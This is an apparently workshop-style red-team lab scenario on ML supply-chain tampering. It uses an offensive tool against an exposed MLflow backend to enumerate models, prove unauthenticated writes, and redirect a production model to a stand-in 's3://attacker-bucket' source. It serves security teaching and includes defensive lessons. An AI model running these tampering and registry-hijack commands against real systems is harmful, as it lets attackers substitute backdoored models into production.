Scenario 10: Supply Chain Model Tampering¶
★ Shown at DEF CON RTV - part of the guided demo/workshop. All scenarios
Difficulty: Advanced Time: ~35 minutes Prerequisites: Complete Scenario 06 Target: ailab-ml:5000 (MLflow backend), ailab-ml:8265 (Ray)
Background¶
Model supply chain attacks compromise the ML lifecycle at the artifact level. A model stored in
MLflow's registry can be re-registered to point at an attacker-controlled artifact source, and
arbitrary experiments/runs can be injected, both without authentication when the tracking server is
exposed. Model scanning (e.g. modelscan) catches known serialization attacks
(pickle/unsafe-deserialization), but a registry-redirect or weight-poisoning backdoor is policy, not
payload.
In this flat lab, ailab-ml:5000 is the MLflow platform backend, directly reachable (the
shadow-AI premise: everything in the estate is exposed). That is a distinct surface from the gated
MLflow gateway at ailab-ds:5000, which is the credential-chained hop in
Scenario 06/08 (Basic-auth with Ray-looted creds). Tampering
targets the writable backend.
Why an attacker cares¶
MLflow's registry is the source of truth for which model version is "Production." Any deploy or serving system that promotes and loads "latest Production" trusts that record. If the registry accepts unauthenticated writes, an attacker controls that source of truth: redirect a production model to an attacker-controlled artifact URI, or register a backdoored version, and the next deploy picks it up. The transition stages (Staging to Production) have no approval gate, so there is no integrity check standing between a malicious write and a live model. This is the artifact-level equivalent of poisoning a package registry.
How this connects to the rest of the estate¶
This scenario is deliberately precise about the boundary between what the tool proves and what is
downstream impact. The write primitive is confirmed on the backend; the poisoned-prediction-in-
production step is not, because the lab hosts no serving layer that auto-loads the latest registry
version. That honesty is the point: you claim the primitive you demonstrated, not the outcome you
did not. The read side (registry, model-artifacts, download-artifact) also connects to the
weight-theft theme, and downloaded artifacts can be risk-scanned with model-scan.
Objective¶
Enumerate model artifacts, prove unauthenticated write access to the registry, and assess supply-chain risk, while being precise about what the tool proves versus what is downstream impact.
Commands¶
# Read the registry and a model version's artifacts (no auth on the exposed backend)
aipostex mlflow --target http://172.16.50.20:5000 registry
aipostex mlflow --target http://172.16.50.20:5000 model-artifacts --model acme-churn-ensemble --version 1
# Risk-scan a downloaded model file for unsafe serialization
aipostex mlflow --target http://172.16.50.20:5000 download-artifact --run-id <id> --artifact-path model/MLmodel
aipostex model-scan --path ~/mlflow-artifacts/
# Prove write access (mutating): create an experiment + run + parameter
aipostex mlflow --target http://172.16.50.20:5000 tamper-proof --force-exploit
# Prove registry hijack (destructive): register a version that redirects to an attacker source
aipostex mlflow --target http://172.16.50.20:5000 swap-model \
--model acme-churn-ensemble --source s3://attacker-bucket/backdoored-model \
--force-exploit
Expected Finding¶
Read (enumeration):
- Registered models with version history and artifact storage URIs
- Transition stages (Staging to Production) with no approval gate
- Model files downloadable for inspection;
model-scanflags unsafe-serialization risk
Proven - execution-confirmed write primitive:
tamper-proofcreates an experiment, run, and parameter on the server and reads them back: unauthenticated write to the tracking store is confirmed.swap-modelregisters a new model version pointing at an attacker-controlledsourceURI and reads the new version back: registry redirect/hijack is confirmed.
{
"finding_type": "vulnerability",
"service": "mlflow",
"detail": "Unauthenticated registry write confirmed (experiment+run created; model version redirected and read back)",
"models_writable": true,
"landed": "execution-confirmed",
"registered_models": ["acme-churn-ensemble", "acme-fraud-bert"]
}
Out of scope (downstream impact, NOT proven here): the lab has no serving layer that auto-loads the latest registry version, so this scenario proves the write/redirect primitive, not a live poisoned prediction in production. The real-world impact (a serving system pulling and executing the trojaned model) follows from the write primitive but is not demonstrated by the tool: claim the primitive, not the prediction.
Real-World Impact¶
Unauthenticated registry write is the foothold for a supply-chain compromise: an attacker redirects a production model's source or injects a backdoored version, and any pipeline that promotes/serves "latest Production" without integrity verification (checksums, signing, approval gates) loads it on the next deploy. The defensive lesson is to gate and sign the registry; the tool here establishes that the gate is missing.
Scoring¶
Run this scenario inside an engagement (aipostex sessions start supply-chain), then score what it
captured:
aipostex engagement merge ~/engagements/supply-chain/findings.jsonl -o ~/engagement.json
python3 ~/lab/scoring/score.py ~/engagement.json --strict
Scoring objective: confirm a model artifact can be downloaded and that tamper-proof/swap-model land an execution-confirmed write against the registry. (The scorer rewards the proven write primitive; it does not expect a downstream-serving proof, which the lab does not host.)